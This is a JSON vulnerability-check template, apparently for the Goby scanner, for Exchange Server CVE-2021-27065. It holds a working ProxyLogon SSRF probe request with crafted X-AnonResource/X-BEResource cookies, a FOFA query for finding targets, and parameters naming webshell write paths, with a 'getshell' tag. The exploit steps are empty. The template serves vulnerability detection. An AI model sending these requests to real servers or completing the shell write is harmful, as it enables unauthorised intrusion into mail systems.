{
  "Name": "Microsoft Exchange Server File Write (CVE-2021-27065)",
  "Description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27078.",
  "Product": "Exchange Server",
  "Homepage": "http://www.exchangecn.com/",
  "DisclosureDate": "2021-03-02",
  "Author": "desktop-n7qn2h0\\go0p\r\n",
  "FofaQuery": "app=\"Microsoft-Exchange\"",
  "GobyQuery": "app=\"Microsoft-Exchange\"",
  "Level": "3",
  "Impact": "",
  "Recommendation": "",
  "References": null,
  "RealReferences": [
    "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27065",
    "https://nvd.nist.gov/vuln/detail/CVE-2021-27065",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27065"
  ],
  "HasExp": true,
  "ExpParams": [
	{
	  "name": "EmailUser",
	  "type": "input",
	  "value": "administrator"
	},
	{
	  "name": "Path",
	  "type": "createSelect",
	  "value": "C:\\inetpub\\wwwroot\\aspnet_client\\,\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\"
	}
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
		"header": {"Cookie": "X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;"},
        "follow_redirect": false,
        "method": "GET",
        "uri": "/owa/auth/x.js"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "500",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "NegotiateSecurityContext",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": null,
  "Tags": ["getshell"],
  "CVEIDs": [
    "CVE-2021-27065"
  ],
  "CVSSScore": "7.8",
  "AttackSurfaces": {
    "Application": ["Microsoft-Exchange"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}